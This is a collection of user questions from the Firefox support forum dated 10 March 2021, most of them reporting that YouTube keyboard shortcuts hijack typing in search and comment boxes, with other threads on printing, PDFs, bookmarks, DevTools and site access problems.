creator: danpaulson
content:
<p>When I am on YouTube trying to comment, my keyboard doesn't work right. Space bar becomes mute and a few other goofy things. Cannot leave spaces between words, etc. This just started today. I have a channel I work with and it was fine earlier today. Does not happen using MS Edge or my iPhone. Only my main PC, which is the one I need. Keyboard works fine in all other applications. This is isolated to Firefox use which has been my main browser for  along time. </p><p>Any idea's? Please help </p>


created: 2021-03-10T10:48:31-08:00
updated: 2021-03-11T06:04:41-08:00
title: Media shortcuts stuck on Youtube
tags: desktop;websites;windows-8;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397787;1397818;1398002;
creator: jazmawii
content:
<p>I can't insert spaces to my text on Youtube search bar and comment section. The space bar acts as a media play pause button. The issue appears only on Firefox, I've tried Edge and the space bar behaves normally there on Youtube. Adds a space on text boxes and plays or pauses the video when the video box is selected. I know this might be a dumb solution but I have had way too much on my back the past week I just cannot deal with this now. </p>


created: 2021-03-10T10:48:26-08:00
updated: 2021-03-10T12:19:29-08:00
title: Keys not working properly on YouTube
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397788;1397819;
creator: sunnee.254
content:
<p>Hey folks! When I try to type in the YouTube search bar during a video, the keys I type perform some actions on the current video instead of just typing in the search bar. For example when I type <strong>f</strong> in the YouTube search bar it changes current video to fullscreen, when I type <strong>t</strong>, it changes to cinema mode. <strong>Spacebar</strong> just pauses/unpauses the video instead of putting space. </p><p>This problem just occured today, before that everything was working fine. Also everything works perfectly on other browsers. The problem only occurs in Firefox. </p>


created: 2021-03-10T10:45:49-08:00
updated: 2021-03-12T20:00:33-08:00
title: La tecla de espacio no responde en el buscador de youtube
tags: desktop;customize;needsinfo;windows-10;firefox-860;
product: firefox
topic: customize
locale: es
answers: 1398384;
creator: luz.marina.ticona
content:
<p>Cuando busqué el nombre de una cancion mientras se reproducía un video me di cuenta que las palabras se estaban escribiendo juntas, y cada vez que apretaba la tecla "espacio", esta no respondía y solo se pausaba el video. Además, mientras trataba de escribir me di cuenta que al apretar algunas teclas, la pantalla del video se agrandaba o se abria una nueva pestaña. Se que tiene que ver con los controles pero nose como arreglarlo. Trate desinstalando el programa como tambien reiniciando el equipo, pero aún nada. Esto solo pasa en youtube. </p>


created: 2021-03-10T10:43:49-08:00
updated: 2021-03-10T12:21:41-08:00
title: Youtube always uses shortcuts
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397760;1397827;
creator: Nilidala
content:
<p>Hi there, </p><p>As of today I'm having an issue with YouTube as it seems to always use shortcuts. What I mean is, if I'm watching a video and go to the search bar and try to type, if I press space it will pause the video and not give me a space in the text.  If during typing i use letter F it will full screen the video the video and give me also the letter it's the same with other letter shortcuts.  </p><p>Tested Firefox in safe mode, the issue persists.  Tried on chrome it works flawlessly.  </p><p>No extra extensions turned on, restarted the PC and cleared cache </p><p>Can you please advise if this is something new or a known issue? </p><p>Thank you </p>


created: 2021-03-10T10:41:34-08:00
updated: 2021-03-10T10:41:34-08:00
title: Não consigo dar espaço na busca no Youtube
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: pt-BR
creator: l.souzadsantos
content:
<p>Isso aconteceu hoje. Ao escrever na barra de busca do Youtube não consigo dar espaço, ele só está aceitando as letras. É como se a barra de espaço estivesse presa no atalho de pausar/reproduzir vídeo, pois quando clico em vídeo e aperto a barra de espaço é a única coisa que acontece. Já reiniciei até o computador e não resolve. </p>


created: 2021-03-10T10:40:59-08:00
updated: 2021-03-10T15:29:05-08:00
title: Cannot comment on Youtube, hotkeys are stuck controlling video instead.
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397789;1397832;1397912;
creator: RetroMech
content:
<p>When I click to type a comment, the keyboard still has control over video playback (hotkeys) and typing a comment is nearly impossible as it's controlling the video. It's not my keyboard as Youtube on other browsers works as normal, so definitely a Firefox issue. </p>


created: 2021-03-10T10:40:44-08:00
updated: 2021-03-10T12:24:42-08:00
title: Cannot use "Space Bar" on YouTube search bar - Space instead unwantingly plays/pauses video
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397767;1397837;
creator: chrisalmith
content:
<p>While the YouTube search bar is focused, I am able to type characters, but anytime I type a character that the video player uses, the corresponding function is invoked. For example, if I type a "k" into the search bar, the video will pause or play, while also typing a "k." More strangely, If I try to type a space into the YouTube search bar, no space is added to the search string, but the video will play/pause. </p><p>It almost appears as if Firefox is stuck on focusing the video. I've tried deleting cookies and cache to no avail.  </p><p>This issue doesn't exist at all in Chrome, and I really don't want to change my default browser over something so small. </p>


created: 2021-03-10T10:40:08-08:00
updated: 2021-03-11T04:43:24-08:00
title: Youtube
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: tr
answers: 1397985;
creator: erenbekmezci20
content:
<p>Youtube'da yorum yaparken vidyoyu kontrol ediyor .(yorumda boşluk bırakmak istesem vidyo duruyo) </p>


created: 2021-03-10T10:38:30-08:00
updated: 2021-03-10T12:20:48-08:00
title: Youtube
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: es
answers: 1397825;
creator: tloquen
content:
<p><strong>Hello! anyone have problem with the "space key" on youtube? I try to find any video but it won't let me give space between words, any suggestions? Thanks</strong> </p>


created: 2021-03-10T10:38:24-08:00
updated: 2021-03-10T12:26:26-08:00
title: Typing comments in youtube controls video
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397719;1397727;1397747;1397844;
creator: eric.j.starr
content:
<p>Since possibly the latest update, when I go down to comments in any youtube video and start typing, it acts as though the video is still the focus. </p><p>For example, If I try to type "this is a test"  the T will enlarge the video player, the i will pop out the video and space will play/pause the video. </p><p>This does not happen when using Chrome or Edge.  I have tried in safe mode.  I've cleared cache/cookies.  I've uninstalled/reinstalled Firefox (even tried firefox on another device and the problem occurs there too (should have done that before the uninstall on my pc but whatever). </p>


created: 2021-03-10T10:38:12-08:00
updated: 2021-03-10T12:27:38-08:00
title: keyboard spacebar
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397720;1397779;1397850;
creator: karem4bm
content:
<p>keyboard spacebar not working at typing with firefox (youtube pag) always pausing youtube video </p>


created: 2021-03-10T10:36:10-08:00
updated: 2021-03-10T12:23:48-08:00
title: Problem with youtube, hotkeys are now active even if the searchbar is in focus?
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397715;1397765;1397833;
creator: Alex.Ermakv
content:
<p>Hello, </p><p>i dont know why, but suddently when i try typing in the youtube searchbar the hotkeys will trigger. For example when i try to press spacebar, nothing will type at all when i'm on the home page. If i'm on one video and try typing in the searchbar, the video will stop, even if i did not yet click on the video. I can only temporarily "fix" this issue by using the tab key and try to navigate to the searchbar. But after i've changed to another page on youtube, this issue will persist until i fix it only by this method. Funnily enough, it appears the be an issue on youtube and only on firefox. Every other site works as intended and the youtube searchbar works as intended  on other browsers.   I'm at a complete loss. </p>


created: 2021-03-10T10:31:17-08:00
updated: 2021-03-10T12:25:00-08:00
title: Firefox suddently confuses typed keys in youtube search bar for youtube shortcuts
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397707;1397839;
creator: man.sin
content:
<p>Firefox suddently confuses typed keys in youtube search bar for youtube shortcuts. SpaceBar is not typed, but if a video is running will stop it. Typing "f" will put the video in full screen. Even after pc rest problem continues. Firefox works fine outside youtube. Crome has no such problem with youtube. </p>


created: 2021-03-10T10:30:18-08:00
updated: 2021-03-10T12:26:34-08:00
title: Cant write comments on Youtube or search stuff
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397706;1397709;1397711;1397714;1397718;1397845;
creator: firefox.phloxes
content:
<p>Whenever i type a letter for a keybind on youtube it will exexute that keybind. For exmaple F for Fullscreen. While that is normal behaivour it now also opens when i am in a Textfield. I cant write or comment or search something cause as soon as i type F or I etc. it opens shortcuts and messes with everything. Its only on youtube though. I am afraid i enabled a option which i dont know of and i dont know how to disable it. </p>


created: 2021-03-10T10:27:40-08:00
updated: 2021-03-10T12:26:20-08:00
title: How to turn off Sohrtcut Keys on Youtube?
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397710;1397843;
creator: rick_t100
content:
<p>Community, </p><p>Problem: I Can't type a comment in youtube without the youtube shortcut keys taking over even though I am clearly typing in the comment box. Just started today. I tried: -I restarted firefox....same thing -I turned off youtube enhancer.....same thing -I went to Chrome to test it and it did not do it there.  </p><p>I am a long time Firefox user and I have never had this problem. Any suggestions? Super weird. </p>


created: 2021-03-10T10:25:58-08:00
updated: 2021-03-10T19:59:07-08:00
title: Space bar for some websites don't actually work.
tags: desktop;websites;
product: firefox
topic: websites
locale: en-US
answers: 1397705;1397712;
creator: jophelkin
content:
<p>Hi! so I  just got this issue today,  For some reason when I want to search something up  FireFox cannot detect the space bar,  i tried the following.  </p><p>Safe mode, </p><p>Reinstalling fire fox </p><p>Refreshing firefox (Installation wise)  </p><p>Using the Windows and shift. </p><p>Updating my keyboard drives, (All of my devices Drivers ) </p><p>Is there  any suggestions that can help this issue? </p>


created: 2021-03-10T10:25:19-08:00
updated: 2021-03-10T10:25:19-08:00
title: as of last update, JS console no longer stays at one line
tags: desktop;beta;fix-problems;windows-10;firefox-870;
product: firefox
topic: fix-problems
locale: en-US
creator: ian79
content:
<p>running FF DevEd 87.0b8.  since this last update, i see that the console now expands not only the output, but also the line editor at the bottom.  it no longer stays at the bottom as one line, it now scales in proportion to the rest of the console and often obscures important information.  it cannot be dragged back to one line height either.  the only solution is to pop it to the left and then back down; but even then, it will keep scaling again when you change the size of the DevTools window.  how can this be fixed? </p><p>sidenote: how can the multi-line editor be moved to the right side?  this would at least be a decent workaround until this bug can be fixed. </p>


created: 2021-03-10T10:11:50-08:00
updated: 2021-03-10T10:37:37-08:00
title: everytime I try a new websearch while in firefox, Google keeps getting in the way!
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397716;
creator: freedom421
content:
<p>everytime I try a new websearch while in firefox, Google keeps getting in the way!  </p><p>How do I stay in firefox?   Google is jumping in to try and take every new search </p>


created: 2021-03-10T10:08:32-08:00
updated: 2021-03-10T19:58:51-08:00
title: Youtube - Shortcuts activated even when no video is playing
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397708;1397717;1397831;1397834;
creator: kalamarano
content:
<p>Hello everyone </p><p>This issue started today 10/March/2021 and only on Firefox. I have tested this into 4 different computers and it only occours on Firefox, other browsers are fine. </p><p>As I try to perform any search on Youtube searchbar, spacebar wont work. It acts like it is pausing/unpausing a video, and does not "space" the words. In fact, all Youtube shortcuts seems to be "live" even when a video is not playing </p><p>Any other site its working fine. </p><p>Anyone got any ideia on how to solve this issue? </p><p>Thank you </p>


created: 2021-03-10T10:08:09-08:00
updated: 2021-03-10T10:08:09-08:00
title: is there a setting to auto-twirl open console.log results?
tags: desktop;beta;customize;windows-10;firefox-870;
product: firefox
topic: customize
locale: en-US
creator: ian79
content:
<p>as a dev, and using FF DevEd, i use `console.log({someObject})` often.  and i'm always having to twirl open the results to see the object properties and values.  is there an option to have this done automatically?  can we choose tiers of expansion?  for me, this would save a TON of time mousing back and forth. </p>


created: 2021-03-10T10:00:58-08:00
updated: 2021-03-10T19:59:54-08:00
title: crashes
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397808;1397816;1397853;1397883;1397884;1397892;
creator: puckaway1911
content:
<p>every day Firefox crashes at least once daily. I had a computer tech look at it and he cannot see anything wrong.. </p>


created: 2021-03-10T09:58:06-08:00
updated: 2021-03-10T19:09:48-08:00
title: Youtube search bar error in Firefox (only) - works in other browsers
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397724;1397736;1397835;1397949;
creator: naraianlegrand
content:
<p>I cannot use space bar in the search bar in you tube when i use it in Mozilla. But when I tried it on google chrome it works just fine. Till now the YouTube search bar in Mozilla was working just fine... Right now I'm witnessing the change - half hour ago! I hope this bug gets solved soon as I love Mozilla. I've been using it so far and it's been one of the best experiences for me!  </p><p>This is only happening in YouTube search. Other search bars from different websites work fine! Please refer the screenshots I have attached!  Thank You! </p>


created: 2021-03-10T09:41:38-08:00
updated: 2021-03-10T13:01:50-08:00
title: Youtube search bar issues
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397700;1397721;1397735;1397774;1397796;1397804;1397862;1397874;
creator: Demyx25
content:
<p>All of a sudden, whenever I try to type something into the Youtube search bar, I'm unable to input spaces. I've tried different tabs, a different window, clearing the cache. It works fine on Chrome but for some reason it just stopped working for Firefox. Any ideas? </p>


created: 2021-03-10T09:08:55-08:00
updated: 2021-03-11T08:58:09-08:00
title: Can't log into Pandora
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397906;1398031;
creator: planet3com
content:
<p>I use Pandora as my daily music player, and use Firefox (latest version, 86.0 64 bit) on Windows 10. A couple days ago I could not login to Pandora. I always type my logins myself, never save them. I tried changing the login and it never seemed to work correctly--I suspected it never got changed even though I got a confirmation email. I was right, because I finally fired up the dreaded MS Edge and was able to login to my Pandora account using my old password--so the password worked, it had never changed. I have tried clearing the cache, the dns, reviewed all the privacy settings, checked my plugins, and I cannot find anything that would seem to cause this problem. </p><p>Help! Please. I don't want to use Edge. </p><p>tx </p>


created: 2021-03-10T08:59:29-08:00
updated: 2021-03-10T09:08:42-08:00
title: Search engine
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1397674;
creator: boongsong
content:
<p>Why does Firefox use Google for their search engine? They are notoriously known for gobbling your info and selling it. </p>


created: 2021-03-10T08:58:56-08:00
updated: 2021-03-10T08:58:56-08:00
title: Transfer of INCOME TAXES
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
creator: lussierd22
content:
<p>I cannot transfer my INCOME TAXES via IMPOTNET (Wealthsimple) with Firefox, sorry for my english, I'm french thank you </p>


created: 2021-03-10T08:48:32-08:00
updated: 2021-03-10T08:48:32-08:00
title: I cannot print pdf's correctly, unless I download it.
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: nancy151
content:
<p>When I open my email, and there is a pdf, I used to able to print the Pdf without having to download it.   If I try printing now, it comes out tiny and cannot read it. This just started recently.  How do I fix this? </p>


created: 2021-03-10T08:27:04-08:00
updated: 2021-03-10T09:09:58-08:00
title: Why "document.pdf"
tags: mac-os;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397664;1397677;
creator: camilla5
content:
<p>When a pdf is opened in a new firefox tab and then saved on the computer, the file is automatically named document.pdf, even though other browsers, safari and chrome, give the file the name that is in the title tag (ie also on the firefox tab). Why is that? Is it the creator of the pdf who forgot something or is it mozilla who prevents something? </p>


created: 2021-03-10T08:14:47-08:00
updated: 2021-03-10T08:14:47-08:00
title: Auto execute 'debugger' statement when 'inspect element'?
tags: desktop;customize;
product: firefox
topic: customize
locale: en-US
creator: chaudominic2
content:
<p>Since firefox version 86.0, 'debugger' statement is not executed automatically after I press inspect element. This cause the page I am debugging on not paused </p><p>I want the page to pause when I press 'inspect element', as I am working on some website that automatically redirect to another page when I press 'inspect element'. </p><p>How can I enable back this feature? Thanks. </p>


created: 2021-03-10T08:10:35-08:00
updated: 2021-03-10T11:52:00-08:00
title: Can't delete bookmarks and they keep growing.
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1397678;1397685;1397722;1397785;
creator: granddude
content:
<p>I now have 72,000 bookmarks. I probably bookmarked 300 places at the most. Some of the spurious bookmarks are "imported" from Microsoft or Explorer. Thousands of them are "suggested sites". I don't want suggested sites! I tried some add on bookmark managers but they are slow and overpowered by the volume. Bookmark Manager takes 20 minutes to load them all and then even longer to delete a few. It will take months to eliminate the mess at this rate. And How do I stop it from happening again? </p>


created: 2021-03-10T07:59:07-08:00
updated: 2021-03-10T07:59:07-08:00
title: Opening links from external applications super slow
tags: linux;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: ervin312
content:
<p>Opening links from other applications or command line (`firefox <a href="http://mozilla.org" rel="nofollow">mozilla.org</a>`) takes always over 10 seconds. In fact, it is very consistent that it takes between 10.19 and 10.23 seconds to open. Opening links and tabs from within firefox is not an issue, works instantly. Problem persists even after restarting browser in safe mode with all extensions disabled. It isn't consuming resources either during these 10 seconds, seems to just sit idle: </p><p>time firefox <a href="http://mozilla.org" rel="nofollow">mozilla.org</a> </p><p>real	0m10,196s user	0m0,121s sys	0m0,017s </p><p>How could I debug or solve this issue? </p><p>EDIT: I have determined that this delay only occurs while connected to VPN. </p>


created: 2021-03-10T07:41:46-08:00
updated: 2021-03-10T09:11:10-08:00
title: Blank landing pages
tags: mac-os;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397665;1397679;
creator: terje.klausen
content:
<p>Hi, I have used firefox for mac for years and across many macs. Suddenly after my last hw change, I experience that lots of the pages i use regularly return blanks (just empty, white pages) when I enter the url. The problem startet after I transfered my old mac to the new one. Browser and os are latest versions Tips will be appriciated Terje </p>


created: 2021-03-10T07:29:23-08:00
updated: 2021-03-10T09:11:34-08:00
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397667;1397680;
creator: jeannebubka
title:
You don't have permission to access "http://www.lowes.com/" on this server.  Reference #18.2513e8ac.1615390026.15df11b4

content:
<p>I can not show <a href="http://Lowes.com" rel="nofollow">Lowes.com</a> it comes back with ...You don't have permission to access "<a href="http://www.lowes.com/" rel="nofollow">http://www.lowes.com/</a>" on this server. </p><p>Reference #18.2513e8ac.1615390026.15df11b4  I have cleared cookies , and I have added <a href="http://Lowes.com" rel="nofollow">Lowes.com</a> to my extensions. </p>


created: 2021-03-10T07:06:57-08:00
updated: 2021-03-10T10:47:38-08:00
title: Primary password make FF unusable
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1397690;1397691;1397694;1397696;1397701;1397703;1397725;
creator: benik333
content:
<p>Hello. </p><p>I wanted to use primary password to protects my saved logins. Well I had to turn this thing off after short time, cause it's really pain to use FF with this. </p><p>The main problem is, that FF keep asking for the password. When I open the FF, sometimes when I open site with saved logins (what I was able to track), when I want to sync account... </p><p>I though that primary password is here to protect my logins (because without it anyone who can open FF on my PC can simply view my passwords). Chrome solved it at least by asking for windows login. But with this the user experience really suffer. </p><p>So this is more feature request, but for some reason feature suggestion site is down. Thanks </p>


created: 2021-03-10T07:01:39-08:00
updated: 2021-03-10T09:32:58-08:00
title: Downloading the latest version of Firefox
tags: desktop;download-and-install_1;
product: firefox
topic: download-and-install
locale: en-US
answers: 1397682;1397687;
creator: billvogt51
content:
<p>I have downloaded the Firefox Installer several times, and each time the progress bar stops at about two-thirds progress above the words "Now installing."   It then exits to a screen headed "File Not Found" which says "Firefox can't find the file at jar:file:///C:/Program Files/Mozilla Firefox/browser/omni.ja!/chrome/en-US/locale/branding/browserconfig.properties." </p><p>Our HP desktop computer uses Windows 10 Home. </p>


created: 2021-03-10T06:53:54-08:00
updated: 2021-03-10T06:53:54-08:00
title: Right clicking on the Windows 10 taskbar Firefox icon
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: k_182
content:
<p>Hi,  </p><p>I've recently noticed that when I right click on the Firefox icon (pinned to taskbar), to open a Private Window, there is a space between the regular and the private window option. Also, there's a kinda useless scrollbar as well. I can't seem to get rid of the space or remove the scrollbar. Please refer to the image, maybe I'm not explaining it well. </p><p>Is this a Windows thing or a Firefox problem? </p><p>Thanks </p>


created: 2021-03-10T06:37:42-08:00
updated: 2021-03-10T06:37:42-08:00
title: PDF file will not open
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
creator: tlmcgrath
content:
<p>This file will not open in Mozilla - and we can't figure out what the issue is? <a href="https://secure.aerofulfillment.com/eReports/viewreportdyn.aspx?@fulfillmentid=1092&amp;rid=2480&amp;rf=0&amp;@ordnum=WI0000146296" rel="nofollow">https://secure.aerofulfillment.com/eReports/viewreportdyn.aspx?@fulfillmentid=1092&amp;rid=2480&amp;rf=0&amp;@ordnum=WI0000146296</a> </p><p>on my work PC or home PC. </p><p>Thanks! </p>


created: 2021-03-10T05:58:23-08:00
updated: 2021-03-10T16:20:02-08:00
title: Empty white space before address bar URL keeps getting bigger
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397671;1397910;1397924;
creator: josiahbreneisen
content:
<p>Hey uh.... this ain't normal right? </p><p>The white space appeared the other day, thought it mildly annoying, but every once in a while (not certain the cause) it gets a little bigger. Now it's almost half the address bar. And it's still goin'. It's a big issue because I can't click on the white space anymore to highlight the address, so eventually, I'm worried that I won't be able to highlight URLs anymore soon enough. </p><p>Has anyone seen this before? What do I do to fix it? </p>


created: 2021-03-10T05:35:16-08:00
updated: 2021-03-10T09:14:51-08:00
title: Zero Support From FireFox
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397683;
creator: letigre5
content:
<p>FireFox now takes forever to load...   Recent articles indicate that FireFox will soon be no more...   What a sad day for the internet...   I uninstalled Chrome several years ago because of their high memory demands...  Now when I load Firefox, there are 4 active tasks running just for Firefox...   I'm not sure what this is all about...  To make matters worse, Firefox offers ZERO support...    Good luck finding a feedback link and god forbid an actual customer support number...   So now that leaves MS Edge...  Meh... </p>


created: 2021-03-10T05:07:00-08:00
updated: 2021-03-10T05:07:00-08:00
title: Printing with Firefox 86 is broken in Linux
tags: linux;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
creator: tweetiepooh
content:
<p>Printer is OKI C531DN connected via network with A4 paper. </p><p>Works fine in Firefox 86 on Windows.  Works fine in FIrefox 76 on Linux (Mint, OpenSuse). </p><p>Problem with Firefox 86 in Linux.  The job goes to the printer which then complains about paper size - needs a4_210x297mm.  I can press OnLine on printer and job completes OK.  Chrome works OK and I can print to PDF then print that OK. </p><p>Values in about:config print.printer_OKI_DATA_CORP_C531.print_paper_height	11.6945	 print.printer_OKI_DATA_CORP_C531.print_paper_id	iso_a4_210x297mm	 print.printer_OKI_DATA_CORP_C531.print_paper_size_unit	0	 print.printer_OKI_DATA_CORP_C531.print_paper_width      8.26378 </p><p>On other instances the unit is 1 and measurements are in metric.  Paper_id is iso_a4 or from memory I think there is a media_id set to 1.  It looks like the paper_id is what is causing the problem.  The printer knows a4 but not a4_210x297mm.  If I reset the values FireFox resets them to the broken values when I request printing. </p>


created: 2021-03-10T04:43:42-08:00
updated: 2021-03-10T04:43:42-08:00
title: Did Firefox Update Break Jquery Mobile
tags: desktop;other;
product: firefox
topic: other
locale: en-US
creator: david448
content:
<p>After updating to version 86 jquery mobile app no longer displays correctly. I can't say for sure it's the 86 update but I noticed this shortly after the update.  Image shows Firefox next to Chrome, Firefox always looked identical to what is shown on the right.  I don't want to have to tell people don't use Firefox, first of all it's lame, second of all I use Firefox myself as my default browser. </p>


created: 2021-03-10T04:03:22-08:00
updated: 2021-03-12T09:31:04-08:00
title: Reader View not working
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397633;1398266;
creator: thany
content:
<p>Reader View isn't working here: <a href="https://www.toptal.com/qa/how-to-write-testable-code-and-why-it-matters" rel="nofollow">https://www.toptal.com/qa/how-to-write-testable-code-and-why-it-matters</a> </p><p>How do I get that little button to show up? </p>


created: 2021-03-10T03:48:43-08:00
updated: 2021-03-10T03:48:43-08:00
title: Prim Video Stopped last week.
tags: mac-os;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: charlesmc
content:
<p>I have three iMac pc's and laptops using Firefox. These are not new machines but in use every day and up to date..  Last week Prime Video stopped working with the error message "Video Unavailable We're experiencing a problem playing this video. For assistance, please go to <a href="http://www.primevideo.com/help" rel="nofollow">www.primevideo.com/help</a>"  Note: The trailers play fine..  I chatted with Amazon and they told me that the plugins on Safari and Firefox are unsupported and I should use Chrome.. !!! Firefox is my go to browser for everything.. Anyone got a fix? I've cleared the cache and did a few tweaks with no affect. </p>


